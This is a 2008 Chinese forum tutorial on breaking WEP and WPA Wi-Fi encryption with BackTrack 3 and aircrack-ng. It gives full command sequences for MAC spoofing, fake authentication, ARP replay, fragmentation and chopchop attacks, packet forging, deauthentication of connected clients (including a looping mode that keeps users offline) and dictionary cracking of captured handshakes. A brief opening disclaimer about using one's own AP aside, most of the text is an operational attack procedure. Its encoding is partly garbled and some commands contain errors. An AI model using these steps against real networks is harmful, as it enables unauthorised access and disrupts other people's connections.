中國無(wú)線(xiàn)論壇中衛出品
AnywhereWLAN!! 1
BT3破解無(wú)線(xiàn)WEP/WPA教程
中國無(wú)線(xiàn)論壇中衛出品
AnywhereWLAN!! 2
聲明：任何不經(jīng)別人同意而進(jìn)入別人網(wǎng)絡(luò )都是非法和不道德的行為。
本教程用于學(xué)習和交流，如要實(shí)驗請拿自已的AP開(kāi)刀??！
題記：
本人是中國無(wú)線(xiàn)論壇
http://www.wlanbbs.com/的ID“中衛”，
無(wú)線(xiàn)安全版塊是本論壇一個(gè)特殊而重要的版塊，我們一直非常努
力的想把這個(gè)板塊做好。作為板塊現階段的的一個(gè)重點(diǎn)就是無(wú)線(xiàn)WEP
和WPA的破解內容。我根據各位壇友的教程和自己的理解整理編輯成
這篇《BT3破解無(wú)線(xiàn)WEP/WPA教程》。
由于本人也是初學(xué)者，缺乏專(zhuān)業(yè)的理論知識，因此文中不免存在理
解的偏差甚至錯誤，希望各位朋友指正。
最后希望更多的朋友參與到教程的整理和編輯中，不斷把教程修
正和完善。
如果對教程有任何意見(jiàn)和建議，歡迎各位到
www.wlanbbs.com論
壇提問(wèn)和交流。
謝謝??！
中衛
08年7月13日
中國無(wú)線(xiàn)論壇中衛出品
AnywhereWLAN!! 3
開(kāi)放式WEP破解
1．裝備： IMBX60筆記本（內置Intel3945 無(wú)線(xiàn)網(wǎng)卡）、BT3 的U盤(pán)系統（需用syslinux命令來(lái)指定啟動(dòng)
BT3 的盤(pán)符）
2．用戶(hù)名：root密碼：toor，進(jìn)入圖形界面：startx。啟動(dòng)BT3 后,(啟動(dòng)黑屏：xconf再輸入startx)
3．加載3945 網(wǎng)卡的驅動(dòng)。打開(kāi)一個(gè)shell
輸入modprobe –r iwl3945 卸載原來(lái)的網(wǎng)卡驅動(dòng)
輸入modprobe ipwraw 加載可監聽(tīng)的網(wǎng)卡驅動(dòng)
注：不同的網(wǎng)卡有不同的加載方式
LINUX 驅動(dòng)是通過(guò)模塊進(jìn)行加載的，可以用lsmod 來(lái)查看機器已加載的模塊
然后可以通過(guò)modinfo ipwraw（模塊名）來(lái)查看所加載驅動(dòng)模塊的版本信息
最新的 ipwraw的版本是ipwraw-ng-2.3.4-04022008.tar.bz2 的。
中國無(wú)線(xiàn)論壇中衛出品
AnywhereWLAN!! 4
最新的版本需要設置rate為1M 設置命令為iwconfig wifi0 rate 1M
這個(gè)版本的驅動(dòng)支持3945 無(wú)線(xiàn)網(wǎng)卡發(fā)射功率得設置，命令如下
iwconfig wifi0 txpower 16（TXPOWER是你想設置的值min=-12 and max=16，單位為dBm）
參數 on/off可以打開(kāi)和關(guān)閉發(fā)射單元，auto 和fixed指定無(wú)線(xiàn)是否自動(dòng)選擇發(fā)射功率。
注：降低連接速率可提高建立虛擬連接的成功率和穩定性，提高發(fā)射功率可增加發(fā)射距離。
4． 查找目標：
可以用 airodump-ng wifi0 來(lái)搜索
注：通過(guò)掃描獲得你要破解的AP的MAC和SSID 還有是否有客戶(hù)端等信息。記錄下這些信息后，請關(guān)閉
此窗口。不然會(huì )出現后面建立虛擬連接時(shí)信道一直在跳轉的情況。
我們選擇第一個(gè)作為目標，channel為11（上圖中的CH 代表信道）。
注：修改自己網(wǎng)卡的MAC地址的命令。
輸入macchanger –m 00:11:22:33:44:55 wifi0
5．激活網(wǎng)卡的Monitor模式并工作在11 信道。（加載網(wǎng)卡，激活監聽(tīng)模式，工作在11 信道）
輸入airmon-ng start wifi0 11 也可用iwconfi wifi0 來(lái)查看網(wǎng)卡的工作模式和工作信道。
中國無(wú)線(xiàn)論壇中衛出品
AnywhereWLAN!! 5
可用 aireplay-ng -9 wifi0 測試注入
6．輸入截取數據包命令（截取11 信道的ivs數據包，并保存名為name.ivs）
輸入命令airodump-ng --ivs -w name -c 11 wifi0 ，
（--ivs：僅截取ivs數據包，-w：寫(xiě)入文件，-c：截取ivs的信道）
（其中name是獲取的ivs 的保存文件的名字，11 是channel值，你根據實(shí)際修改）
中國無(wú)線(xiàn)論壇中衛出品
AnywhereWLAN!! 6
一. 有客戶(hù)端WEP破解
1．有客戶(hù)端，且合法客戶(hù)端產(chǎn)生大量有效的數據，能直接獲得大量IVS。
思路：1-6步同上
7．直接用aircrack-ng破解
第七步： aircrack-ng -n 64 -b <ap mac> name-01.ivs
2．有客戶(hù)端，合法客戶(hù)端只能產(chǎn)生少量ivs 數據，就需要注入攻擊加速產(chǎn)生大量ivs。
只要有少量的數據就可能獲得arp 請求包，則可用arp 注入模式的-3 模式通過(guò)不斷向AP 發(fā)送
同樣的arp請求包，來(lái)進(jìn)行注入式攻擊。
思路：1-6步同上
7．用aireplay-ng的arp注入方式獲得大量的ivs
第七步：aireplay-ng -3 -b <ap mac> -h <合法客戶(hù)端mac> wifi0
注：這一步可能時(shí)間會(huì )長(cháng)一點(diǎn)，因為需要等到ARP。
3．有客戶(hù)端，但是客戶(hù)端根本不在通信，不能產(chǎn)生ARP包。-3注入模式不成功
思路：1-6步同上
7．-0 沖突模式強制斷開(kāi)合法客戶(hù)端和ap連接，使之重新連接
8．利用-0沖突模式重新連接所產(chǎn)生的握手數據讓-3獲得有效的ARP從而完成ARP注入
第七步：aireplay-ng -3 -b <ap mac> -h <合法客戶(hù)端mac> wifi0
中國無(wú)線(xiàn)論壇中衛出品
AnywhereWLAN!! 7
第八步：aireplay-ng -0 10 –a <ap mac> -c <合法客戶(hù)端mac> wifi0
中國無(wú)線(xiàn)論壇中衛出品
AnywhereWLAN!! 8
4．有客戶(hù)端，并且客戶(hù)端能產(chǎn)生有效arp 數據的另類(lèi)破解方式
前面的步驟一樣：
輸入modprobe –r iwl3945
輸入modprobe ipwraw
輸入airmon-ng start wifi0 11
現在，只要一個(gè)命令就搞定，輸入:
輸入wesside-ng -i wifi0 -v 01:02:03:04:05:06 (此格式的APMAC)。
Wesside-ng這個(gè)命令其實(shí)就是一個(gè)-5 碎片注入，fragmentation 構造注入包，-3arp注入，最后PTW 破解這
樣一個(gè)思路。
中國無(wú)線(xiàn)論壇中衛出品
AnywhereWLAN!! 9
二．無(wú)客戶(hù)端開(kāi)放式WEP破解
思路：1-6步同上
因為是無(wú)客戶(hù)端，所以第一步就需要和AP之間建立一個(gè)虛擬連接。
這是非常關(guān)鍵的一步。為讓AP 接受數據包，必須使自己的網(wǎng)卡和AP 關(guān)聯(lián)。如果沒(méi)有關(guān)聯(lián)的話(huà)，目標AP
將忽略所有從你網(wǎng)卡發(fā)送的數據包，IVS數據將不會(huì )產(chǎn)生。
第七步：輸入aireplay-ng -1 0 -e <ap essid> -a <ap mac> -h < mac> wifi0
如果回顯虛擬偽裝連接不成功，不能成功的原因很多，具體有如下幾種：
1、目標AP做了MAC地址過(guò)濾
2、你離目標AP物理距離太遠
3、對方使用了WPA加密
5、網(wǎng)卡、AP可能不兼容,網(wǎng)卡沒(méi)有使用和AP一樣的工作頻道
注：遇有不規則的essid可用引號將essid引起來(lái)比如，‘jack chen’。
虛擬連接不成功可做如下嘗試：
1．直接將－e這個(gè)參數省略掉
2．降低網(wǎng)卡的速率重新進(jìn)行連接
Iwconfig wifi0 rate 2M
參數說(shuō)明：rate 后面跟連接的速率，可以從小往大設置做嘗試連接。后面的單位M 必須為大
寫(xiě)
中國無(wú)線(xiàn)論壇中衛出品
AnywhereWLAN!! 10
也可以使用命令tcpdump來(lái)確認網(wǎng)卡是否已經(jīng)連接到目標AP上
tcpdump -n -e -s0 -vvv -i wifi0
中國無(wú)線(xiàn)論壇中衛出品
AnywhereWLAN!! 11
1．第一種破解方式：
思路：1-7步同上
建立虛擬連接后直接用-2 交互攻擊模式，這個(gè)模式集合了抓包和提取數據，發(fā)包注入三種能力。
第八步：抓包，提數據和發(fā)包攻擊
aireplay-ng -2 -p 0841 -c ff:ff:ff:ff:ff:ff -b <ap mac> -h <my mac> wifi0
發(fā)包成功后可得到足夠的ivs，然后用aircrack-ng破解。
成功后如上圖截獲了一個(gè)可以直接進(jìn)行注入的數據包，并回顯Use this packet，按y 然后開(kāi)始
發(fā)包攻擊，date飛快漲。當獲得足夠的ivs以后就可破解了。
中國無(wú)線(xiàn)論壇中衛出品
AnywhereWLAN!! 12
2．第二種破解方式：
思路：1-7步同上
第八步：利用-5 碎片攻擊模式獲得一個(gè)可用的包含密鑰是數據文件（xor 文件）
第九步：然后通過(guò)數據包制造程序Packetforge-ng提取xor 文件中的PRGA偽造一個(gè)arp包，
第十步：最后利用交互式攻擊模式-2發(fā)包攻擊。
第八步：采用碎片包攻擊模式-5，獲得一個(gè)PRGA數據包（xor文件）。
輸入aireplay-ng -5 -b <ap mac> -h <my mac> wifi0
如順利，將得到一個(gè)可利用的數據包如上圖，系統將回顯Use this packet ? 輸入y 回車(chē)，將得到一個(gè)至
關(guān)重要的xor 文件。這一步生成的xor 文件將被我們用來(lái)產(chǎn)生arp數據包。
再輸入 ls 查看當前目錄，你將看到剛才生成的一個(gè)后綴名為xor 的文件。
中國無(wú)線(xiàn)論壇中衛出品
AnywhereWLAN!! 13
第九步：用數據包制造程序packetforge-ng將上面獲得的PRGA數據包偽造成可利用的ARP注入包。
其工作原理就是使目標AP重新廣播包，當AP重廣播時(shí)，一個(gè)新的IVS將產(chǎn)生，我們就是利用這個(gè)來(lái)破解。
輸入packetforge-ng -0 -a <ap mac> -h <my mac> -k 255.255.255.255 –l 255.255.255.255 -y
name-xor -w myarp
參數說(shuō)明：
-y （filename）是用來(lái)讀取PRGA的文件
-w （filename）將arp包寫(xiě)入文件，我用的文件名是myarp
系統回顯：Wrote packet to: mrarp
中國無(wú)線(xiàn)論壇中衛出品
AnywhereWLAN!! 14
第十步：采用交互模式-2，發(fā)包注入攻擊。
輸入aireplay-ng -2 –r myarp -x 256 rausb0
【-r】：從指定文件中讀取arp數據包
【-x】：定義每秒發(fā)送的數據包數量。為避免網(wǎng)卡死機，可選擇256，最高不超過(guò)1024
輸入 y 回車(chē)攻擊開(kāi)始
中國無(wú)線(xiàn)論壇中衛出品
AnywhereWLAN!! 15
這時(shí)，前面的抓包窗口上的data 將迅速增加。
到數據增加到1.5萬(wàn)以上時(shí)。
第十一步：采用aircrack-ng 來(lái)進(jìn)行破解
中國無(wú)線(xiàn)論壇中衛出品
AnywhereWLAN!! 16
3．第三種破解方式：
思路：1-7步同上
第八步：利用-4的Chopchop 攻擊模式獲得一個(gè)可用的包含密鑰數據文件（xor 文件）
第九步：通過(guò)數據包制造程序Packetforge-ng提取xor 文件中的PRGA偽造一個(gè)arp包
第十步：最后利用交互式攻擊模式-2發(fā)包攻擊。
第八步：采用-4 的Chopchop 攻擊模式獲得一個(gè)包含密鑰數據的xor 文件
輸入aireplay-ng -4 -b <ap mac> -h <my mac> wifi0
參數說(shuō)明：
-b：設置需要破解的AP的mac
-h：設置用于連接的無(wú)線(xiàn)網(wǎng)卡的mac（自己網(wǎng)卡）
順利將得到一個(gè)可利用的數據包，按y 將利用此數據包生產(chǎn)一個(gè)xor 文件
如上圖所示得到一個(gè)名為replay_dec-0523-075615的xor 文件，
中國無(wú)線(xiàn)論壇中衛出品
AnywhereWLAN!! 17
第九步：通過(guò)數據包制造程序Packetforge-ng提取上面xor 文件來(lái)偽造一個(gè)arp包
輸入packetforge-ng -0 -a <ap mac> -h <my mac> -k 255.255.255.255 –l 255.255.255.255 -y
name-xor -w myarp
如上圖，成功生成一個(gè)名為myarp的可用來(lái)注入的arp數據包。
第十步：最后利用交互式攻擊模式-2發(fā)包攻擊。
輸入aireplay-ng -2 -r myarp rausb0
發(fā)現了可利用的myarp的數據包，按y后，立刻注入攻擊。Date瘋漲
注入成功將會(huì )獲得足夠的ivs然后直接用aircrack進(jìn)行破解
中國無(wú)線(xiàn)論壇中衛出品
AnywhereWLAN!! 18
注：在破解無(wú)客戶(hù)端的時(shí)候經(jīng)常會(huì )遇到有些AP，嘗試了各種注入攻擊模式都無(wú)法成功注入，
date一直為0。這時(shí)候可以根據下面的四種提示做進(jìn)一步的嘗試。
1．移動(dòng)無(wú)線(xiàn)網(wǎng)卡位置讓其獲得更好的信號強度；
2．在注入攻擊的過(guò)程中嘗試多次進(jìn)行-1虛擬連接；
3．在-2交互模式攻擊中加入-F參數（自動(dòng)選擇獲取的數據包進(jìn)行注入攻擊）如下圖所示
然后你可以一邊去做自己的事，等你忙好了回來(lái)的時(shí)候說(shuō)不定date已經(jīng)漲到幾十萬(wàn)了；
4．在使用各種注入命令等待獲取注入數據包的時(shí)候，如果你另外有一臺計算機可以讓另外一
臺計算機連接到你要破解的無(wú)線(xiàn)AP。在連接過(guò)程中當提示輸入密碼的時(shí)候，你隨便輸入一個(gè)
什么密碼，會(huì )出現正在獲取IP 地址。這時(shí)候你的注入攻擊的頁(yè)面就會(huì )獲得一個(gè)可用的注入數
據包，從而實(shí)現注入攻擊。
中國無(wú)線(xiàn)論壇中衛出品
AnywhereWLAN!! 19
預共享WEP破解
大家都知道WEP加密有兩種加密方式開(kāi)放式和共享式。開(kāi)放式系統驗證和共享密鑰驗證兩種模式中，每個(gè)
移動(dòng)客戶(hù)端都必須針對訪(fǎng)問(wèn)點(diǎn)進(jìn)行驗證。開(kāi)放式系統驗證其實(shí)可以稱(chēng)為“無(wú)驗證”，因為實(shí)際上沒(méi)有進(jìn)行驗
證——工作站說(shuō)“請求驗證”，而AP 也不管是否密鑰是否正確，先“答應了再說(shuō)”，但最終ap會(huì )驗證密鑰
是否正確，決定是否允許接入——這種驗證方式的ap，往往你隨便輸入一個(gè)密碼，都可以連接，但如果密
碼不正確，會(huì )顯示為“受限制”。共享密鑰驗證稍微強大一些，工作站請求驗證，而訪(fǎng)問(wèn)點(diǎn)（AP）用WEP
加密的質(zhì)詢(xún)進(jìn)行響應。如果工作站的提供的密鑰是錯誤的，則立即拒絕請求。如果工作站有正確的WEP密
碼，就可以解密該質(zhì)詢(xún)，并允許其接入。因此，連接共享密鑰系統，如果密鑰不正確，通常會(huì )立即顯示“該
網(wǎng)絡(luò )不存在等提示”。
前提：預共享WEP 破解必須要有合法無(wú)線(xiàn)客戶(hù)端
預共享密鑰的WEP不能建立-1 虛擬連接，你在建立虛擬連接的時(shí)候會(huì )有如下提示，見(jiàn)圖中紅色提示。
由于預共享WEP加密不能建立虛擬連接，因此預共享WEP破解必須是有客戶(hù)端，無(wú)客戶(hù)端不能進(jìn)行破解
具體破解方式和開(kāi)放式WEP破解的思路是一樣的。
1．正常激活網(wǎng)卡的監聽(tīng)模式
2．輸入截取數據包命令（截取11 信道的ivs數據包，并保存名為name.ivs）
輸入命令airodump-ng --ivs -w name -c 11 wifi0
（--ivs：僅截取ivs數據包，-w：寫(xiě)入文件，-c：截取ivs的信道）
（其中name是獲取的ivs 的保存文件的名字，11 是channel值，你根據實(shí)際修改）
如下圖所示STATION下有一個(gè)合法的客戶(hù)端，AUTH下顯示SKA 為預共享WEP加密方式
中國無(wú)線(xiàn)論壇中衛出品
AnywhereWLAN!! 20
破解思路一：
3．用aireplay-ng 的arp注入
aireplay-ng -3 -b <ap mac> -h <合法客戶(hù)端mac> wifi0
注：-h后面跟合法客戶(hù)端的MAC地址
如下圖所示成功注入
注：這一步可能時(shí)間會(huì )長(cháng)一點(diǎn)，因為需要等到可注入的ARP。
注入成功將會(huì )獲得足夠的ivs然后直接用aircrack進(jìn)行破解
中國無(wú)線(xiàn)論壇中衛出品
AnywhereWLAN!! 21
破解思路二：
3.用-2 交互攻擊模式注入
aireplay-ng -2 -p 0841 -c ff:ff:ff:ff:ff:ff -b <ap mac> -h <合法客戶(hù)端mac> wifi0
注：-h后面跟合法客戶(hù)端的MAC地址
如下圖所示成功注入
注入成功將會(huì )獲得足夠的ivs然后直接用aircrack進(jìn)行破解
中國無(wú)線(xiàn)論壇中衛出品
AnywhereWLAN!! 22
破解思路三：
以上兩步都是基于有客戶(hù)端并且客戶(hù)端能產(chǎn)生少量數據的情況，但是有時(shí)候AP有客戶(hù)端連接，但是并不在
通信不能產(chǎn)生少量可用于注入的數據包。這時(shí)候就可以利用-0 沖突模式重新連接所產(chǎn)生的握手數據讓-3 的
ARP注入方式或-2 交互注入方式獲得有效的可用于注入的ARP從而完成注入。
如下圖所示
當-0 沖突模式攻擊成功后，-2的交互模式立刻獲得一個(gè)可用的注入包。如下圖所示
中國無(wú)線(xiàn)論壇中衛出品
AnywhereWLAN!! 23
破解思路四：
大家看這張圖，在建立-1 虛擬連接的時(shí)候出現失敗的提示
You sheould specify a xor file (-y) with at least 148 keystreambytes
提示你建立虛擬連接需要用-y參數指定一個(gè)預共享密鑰的握手包。
這個(gè)握手包的獲得和WPA 中握手包的獲得方式是一樣的，采用-0沖突模式，獲得一個(gè)以AP MAC為名的xor
包。然后在-1建立虛擬連接的時(shí)候指定這個(gè)包。
然后利用-5碎片攻擊模式攻擊，packetforge-ng 構造ARP 注入包，然后-2 注入。從而獲得足夠的ivs用于
破解。
因為我一執行-0 沖突模式，導致另外系統藍屏，所以沒(méi)能獲得這個(gè)握手包，這部分內容不夠詳細。
等我換了網(wǎng)卡再做測試，如果OK 我會(huì )補充到教程中。
中國無(wú)線(xiàn)論壇中衛出品
AnywhereWLAN!! 24
WPA破解詳細教程
破解 WPA 的前提：必須要有合法無(wú)線(xiàn)客戶(hù)端
WPA 破解的原理：
利用Deauth驗證攻擊。也就是說(shuō)強制讓合法無(wú)線(xiàn)客戶(hù)端與AP被斷開(kāi)，當它被從WLAN 中斷開(kāi)后，這個(gè)無(wú)線(xiàn)
客戶(hù)端會(huì )自動(dòng)嘗試重新連接到AP上，在這個(gè)重新連接過(guò)程中，數據通信就產(chǎn)生了，然后利用airodump捕獲
一個(gè)無(wú)線(xiàn)路由器與無(wú)線(xiàn)客戶(hù)端四次握手的過(guò)程，生成一個(gè)包含四次握手的cap包。然后再利用字典進(jìn)行暴力
破解。
1． 激活網(wǎng)卡，并讓其工作于11信道
Airmon-ng start wifi0 11
2．捕獲11信道的cap包，并保存cap包為123.cap
Airodump-ng –w 123 –c 11 wifi0
上圖可以看出采用了WPA加密方式，并且有一個(gè)0016b69d10ad合法的無(wú)線(xiàn)客戶(hù)端。
3. 進(jìn)行Deauth驗證攻擊，強制斷開(kāi)合法無(wú)線(xiàn)客戶(hù)端和AP直接的連接，使其重新進(jìn)行連接
aireplay-ng -0 10 -a <ap mac> -c <my mac> wifi0
解釋?zhuān)?0指的是采取Deautenticate攻擊方式，后面為發(fā)送次數。-c建議還是使用，效果會(huì )更好，這個(gè)后面跟
的是監測到的合法的已連接的客戶(hù)端MAC地址
注意上圖紅色部分，-c后面為合法無(wú)線(xiàn)客戶(hù)端的MAC地址
Deauth攻擊往往并不是一次攻擊就成功，為確保成功截獲需要反復進(jìn)行（WPA破解不用等到數據Data達到
幾萬(wàn)，因為它只要一個(gè)包含WPA4次握手驗證包就可以了）。如果成功捕獲會(huì )出現下圖紅色部分的提示
中國無(wú)線(xiàn)論壇中衛出品
AnywhereWLAN!! 25
這時(shí)如果輸入dir就可以在root目錄下看到名為123.cap的握手包了。
得到握手包以后就可以用字典直接破解
首先將在windows下用字典工具生成的字典（例password.txt）拷貝到root目錄下
在BT3桌面雙擊system然后出現下圖。
圖中左邊紅色就為root目錄，圖中紅色存儲介質(zhì)雙擊打開(kāi)以后就看到你的每個(gè)硬盤(pán)的分區了?？梢赃M(jìn)入硬
盤(pán)分區右鍵拷貝，然后進(jìn)入root目錄右鍵粘貼。如下圖紅色部分
目前WPA 的破解主要還是基于暴力破解和字典破解，暴力破解和字典破解的一個(gè)共性就是“耗時(shí)、費力、
運氣”所以往往有時(shí)候你花了很多時(shí)間但還是破不了，這時(shí)候希望大家還是要接受這樣一個(gè)殘酷的現實(shí)。
中國無(wú)線(xiàn)論壇中衛出品
AnywhereWLAN!! 26
破解方式一：用Cap數據包直接暴力破解
從破解難度上講WEP 是很容易破解的，只要你收集足夠的Cap 數據包就肯定可以破解。WPA 的破解需要
有好的密碼字典配合才能完成，復雜的WPA密碼可能幾個(gè)月也破解不出來(lái)。
輸入：aircrack-ng -z –b <ap mac> 123*.cap
123 是前面所獲得的握手包的文件名。系統會(huì )自動(dòng)在你輸入的文件名后加上-01、-02（如果數據包太多，系
統會(huì )自動(dòng)分成幾個(gè)文件存儲并自動(dòng)命名，可以使用ls查看），輸入123*是打開(kāi)所有123相關(guān)的cap文件。
常見(jiàn)問(wèn)題：步驟2中收集數據包已達30W，無(wú)法破解密碼?？赡芟到y自動(dòng)分成了幾個(gè)文件貯存cap包。
如輸入123-01.cap破解可能導致破解不成功，建議使用123*.cap選擇所有的cap包進(jìn)行破解。
中國無(wú)線(xiàn)論壇中衛出品
AnywhereWLAN!! 27
破解方式二. 掛字典破解
一．直接在BT3中掛字典破解
aircrack-ng –w password.txt –b <ap mac> 123.cap
參數說(shuō)明：passwrod.txt為字典名稱(chēng)123.cap為步驟2中獲得的握手信息包
耗時(shí)1分31秒獲得WPA密碼，如下圖
從上圖可以看出破解用時(shí)1分31秒，速度149.91K/S
注：本教程只為了描述破解的過(guò)程。我是做了個(gè)256K的小字典，事先把密碼已經(jīng)加到字典里了。
二．也可以把包含4次握手的CAP數據包拷貝到硬盤(pán)下在WIN下用WinAircrack掛字典破解。
中國無(wú)線(xiàn)論壇中衛出品
AnywhereWLAN!! 28
如上圖 Encryption type處選擇WPA-PSK，下面capture files處導入抓取的握手包123.cap
然后選擇WPA選項，如下圖
在上圖中Dictionary file處導入字典文件password.txt。然后點(diǎn)擊右下角的Aircrack the key
中國無(wú)線(xiàn)論壇中衛出品
AnywhereWLAN!! 29
然后出現下圖提示
上圖，選擇1后回車(chē)，然后開(kāi)始破解。成功破解如下圖
從上圖可以看出破解用時(shí)54秒，速度251.73K/S(比BT3下要快)
中國無(wú)線(xiàn)論壇中衛出品
AnywhereWLAN!! 30
三．通過(guò)airolib構建WPA table實(shí)現WPA線(xiàn)速破解
WPA的字典破解除了直接掛字典破解外，另外一種就是用airolib將字典構造成WPA table然后再用aircrac
進(jìn)行破解。
構建WPA table就是采用和WPA加密采用同樣算法計算后生成的Hash 散列數值，這樣在需要破解的時(shí)候直
接調用這樣的文件進(jìn)行比對，破解效率就可以大幅提高。
先講通過(guò)airolib構建WPA table
WPA table具有較強的針對ssid的特性。
1. 在構建WPA table之前需要準備兩個(gè)文件：一個(gè)是ssid列表的文件ssid.txt，一個(gè)是字典文件
password.txt。下圖為我的文件
大家可以看到兩個(gè)txt的文件，ssid記事本里是ssid的列表，你可以增加常見(jiàn)的ssid進(jìn)去，后面的passwrod
就是字典文件了。
2. 把這ssid.txt和password.txt還有上面抓到的握手包123.cap這三個(gè)文件拷貝到root目錄下方便使用。
見(jiàn)下圖
3.開(kāi)始利用airolib-ng來(lái)構建WPA table了。構建wpa table保存的名字為wpahash（下同）
第一步，如下圖
airolib-ng wpa --import essid ssid.txt
中國無(wú)線(xiàn)論壇中衛出品
AnywhereWLAN!! 31
第二步，如下圖
airolib-ng wpa --import passwd password.txt
第三步，如下圖
airolib-ng wpa --clean all
第四步，如下圖
airolib-ng wpa --batch
注：這一步要等很久（視字典大小而定，我256K的字典等了有15分鐘）
4. 用aircrack來(lái)利用WPA table進(jìn)行破解
Aircrack-ng –r wpahash 123.cap
選擇1以后將開(kāi)始破解。
中國無(wú)線(xiàn)論壇中衛出品
AnywhereWLAN!! 32
成功破解將如下圖所示
從上圖中可以看出耗時(shí)00:00:00反正不超過(guò)1秒鐘，速度42250.00K/S
大家也看到了三種破解方式，直接掛字典中在win下用WinAircrack破解是速度比在BT3下要快。直接掛字典
破解不超過(guò)1分鐘就破出了密碼；利用WPA table破解速度雖然不到一秒，但是構建WPA table卻耗費了15分
鐘。構建WPA table是很耗時(shí)的，但是構建出了包括常見(jiàn)ssid的和相對較大字典的WPA table的話(huà)，以后破
解的速度將大大降低。當然沒(méi)有萬(wàn)能的字典，如果有萬(wàn)能的字典，再構建出一個(gè)常見(jiàn)ssid的WPA table的話(huà)
那這個(gè)預運算數據庫是超級超級龐大的。
注：WIN平臺下的CAIN軟件中的破解器也可用于WEP和WPA的基于暴力和字典的破解，但是其破解速度很慢，
相比aircrack-ng而言不具實(shí)用價(jià)值。
中國無(wú)線(xiàn)論壇中衛出品
AnywhereWLAN!! 33
Aireplay-ng的6種攻擊模式詳解
-0 Deautenticate 沖突模式
使已經(jīng)連接的合法客戶(hù)端強制斷開(kāi)與路由端的連接，使其重新連接。在重新連接過(guò)程中獲得驗證數據包，
從而產(chǎn)生有效ARP request。
如果一個(gè)客戶(hù)端連在路由端上，但是沒(méi)有人上網(wǎng)以產(chǎn)生有效數據，此時(shí)，即使用-3 也無(wú)法產(chǎn)生有效ARP
request。所以此時(shí)需要用-0 攻擊模式配合，-3 攻擊才會(huì )被立刻激活。
aireplay-ng -0 10 –a <ap mac> -c <my mac> wifi0
參數說(shuō)明：
【-0】：沖突攻擊模式，后面跟發(fā)送次數（設置為0，則為循環(huán)攻擊，不停的斷開(kāi)連接，客戶(hù)端無(wú)法正常上
網(wǎng)）
【-a】：設置ap的mac
【-c】：設置已連接的合法客戶(hù)端的mac。如果不設置-c，則斷開(kāi)所有和ap連接的合法客戶(hù)端。
aireplay-ng -3 -b <ap mac> -h <my mac> wifi0
注：使用此攻擊模式的前提是必須有通過(guò)認證的合法的客戶(hù)端連接到路由器
-1 fakeauth count 偽裝客戶(hù)端連接
這種模式是偽裝一個(gè)客戶(hù)端和AP進(jìn)行連接。
這步是無(wú)客戶(hù)端的破解的第一步，因為是無(wú)合法連接的客戶(hù)端，因此需要一個(gè)偽裝客戶(hù)端來(lái)和路由器相連。
為讓AP接受數據包，必須使自己的網(wǎng)卡和AP關(guān)聯(lián)。如果沒(méi)有關(guān)聯(lián)的話(huà)，目標AP將忽略所有從你網(wǎng)卡發(fā)
送的數據包，IVS 數據將不會(huì )產(chǎn)生。用-1 偽裝客戶(hù)端成功連接以后才能發(fā)送注入命令，讓路由器接受到注
入命令后才可反饋數據從而產(chǎn)生ARP包。
aireplay-ng -1 0 –e <ap essid> -a <ap mac> -h <my mac> wifi0
參數說(shuō)明：
【-1】：偽裝客戶(hù)端連接模式，后面跟延時(shí)
【-e】：設置ap的essid
【-a】：設置ap的mac
【-h】：設置偽裝客戶(hù)端的網(wǎng)卡MAC（即自己網(wǎng)卡mac）
-2 Interactive 交互模式
這種攻擊模式是一個(gè)抓包和提數據發(fā)攻擊包，三種集合一起的模式
1．這種模式主要用于破解無(wú)客戶(hù)端，先用-1建立虛假客戶(hù)端連接然后直接發(fā)包攻擊
aireplay-ng -2 -p 0841 -c ff:ff:ff:ff:ff:ff -b <ap mac> -h <my mac> wifi0
參數說(shuō)明：
【-2】：交互攻擊模式
【-p】設置控制幀中包含的信息（16進(jìn)制），默認采用0841
【-c】設置目標mac地址
【-b】設置ap的mac地址
【-h】設置偽裝客戶(hù)端的網(wǎng)卡MAC（即自己網(wǎng)卡mac）
2．提取包，發(fā)送注入數據包
aireplay-ng -2 –r <file> -x 1024 wifi0
發(fā)包攻擊.其中，-x 1024 是限定發(fā)包速度，避免網(wǎng)卡死機，可以選擇1024。
中國無(wú)線(xiàn)論壇中衛出品
AnywhereWLAN!! 34
-3 ARP-request 注入攻擊模式
這種模式是一種抓包后分析重發(fā)的過(guò)程
這種攻擊模式很有效。既可以利用合法客戶(hù)端，也可以配合-1 利用虛擬連接的偽裝客戶(hù)端。如果有合法客
戶(hù)端那一般需要等幾分鐘，讓合法客戶(hù)端和ap 之間通信，少量數據就可產(chǎn)生有效ARP request 才可利用-3
模式注入成功。如果沒(méi)有任何通信存在，不能得到ARP request.，則這種攻擊就會(huì )失敗。如果合法客戶(hù)端和
ap之間長(cháng)時(shí)間內沒(méi)有ARP request，可以嘗試同時(shí)使用-0 攻擊。
如果沒(méi)有合法客戶(hù)端，則可以利用-1 建立虛擬連接的偽裝客戶(hù)端，連接過(guò)程中獲得驗證數據包，從而產(chǎn)生
有效ARP request。再通過(guò)-3 模式注入。
aireplay-ng -3 -b <ap mac> -h <my mac> -x 512 wifi0
參數說(shuō)明：
【-3】：arp注入攻擊模式
【-b】：設置ap的mac
【-h】：設置
【-x】：定義每秒發(fā)送數據戶(hù)包的數量，但是最高不超過(guò)1024，建議使用512（也可不定義）
-4 Chopchop 攻擊模式，用以獲得一個(gè)包含密鑰數據的xor 文件
這種模式主要是獲得一個(gè)可利用包含密鑰數據的xor 文件，不能用來(lái)解密數據包。而是用它來(lái)產(chǎn)生一個(gè)新
的數據包以便我們可以進(jìn)行注入。
aireplay-ng -4 -b <ap mac> -h <my mac> wifi0
參數說(shuō)明：
-b：設置需要破解的AP的mac
-h：設置虛擬偽裝連接的mac（即自己網(wǎng)卡的mac）
-5 fragment 碎片包攻擊模式用以獲得PRGA(包含密鑰的后綴為xor 的文件)
這種模式主要是獲得一個(gè)可利用PRGA，這里的PRGA 并不是wep key數據，不能用來(lái)解密數據包。而是
用它來(lái)產(chǎn)生一個(gè)新的數據包以便我們可以進(jìn)行注入。其工作原理就是使目標AP重新廣播包，當AP重廣播
時(shí)，一個(gè)新的IVS將產(chǎn)生，我們就是利用這個(gè)來(lái)破解
aireplay-ng -5 -b <ap mac> -h <my mac> wifi0
【-5】：碎片包攻擊模式
【-b】：設置ap的mac
【-h】：設置虛擬偽裝連接的mac（即自己網(wǎng)卡的mac）
中國無(wú)線(xiàn)論壇中衛出品
AnywhereWLAN!! 35
Packetforge-ng：數據包制造程序
Packetforge-ng <mode> <options>
Mode
【-0】：偽造ARP包
packetforge-ng -0 -a <ap mac> -h <my mac> wifi0 –k 255.255.255.255 -l 255.255.255.255
–y<.xor file> -w mrarp
參數說(shuō)明：
【-0】：偽裝arp數據包
【-a】：設置ap的mac
【-h】設置虛擬偽裝連接的mac（即自己的mac）
